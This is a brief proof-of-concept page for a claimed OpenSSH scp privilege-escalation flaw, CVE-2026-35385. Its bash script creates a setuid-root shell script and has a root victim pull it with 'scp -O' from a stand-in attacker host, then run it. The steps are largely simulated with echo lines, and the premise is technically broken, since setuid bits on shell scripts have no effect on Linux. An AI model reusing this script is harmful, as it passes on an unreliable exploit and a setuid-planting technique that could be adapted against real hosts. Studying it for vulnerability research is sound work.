CVE-2026-35385 OpenSSH scp权限提升漏洞

#!/bin/bash # PoC Concept for CVE-2026-35385 # Scenario: Attacker prepares a malicious file with setuid root on a server. # Victim (root) downloads it using vulnerable scp. # 1. On the attacker-controlled machine (or server), create a malicious file # that acts as a setuid binary. # (Assuming the attacker has root on the source machine to set the bit initially) echo "[+] Creating malicious payload on remote server..." cat > /tmp/malicious_payload.sh << 'EOF' #!/bin/bash echo "If you see this as root, the exploit worked." whoami EOF # Set setuid and executable permissions (simulating the source file state) chmod 4755 /tmp/malicious_payload.sh # 2. Victim Action: The victim (root) runs scp with -O flag. # Command: # scp -O user@attacker_ip:/tmp/malicious_payload.sh ./ echo "[+] Victim command: scp -O user@attacker:/tmp/malicious_payload.sh ./" echo "[+] After download, checking local file permissions..." # Simulated result on victim machine: # -rwsr-xr-x 1 root root ... malicious_payload.sh echo "[!] The file is now setuid root on the local system." echo "[!] Executing the downloaded file..." # ./malicious_payload.sh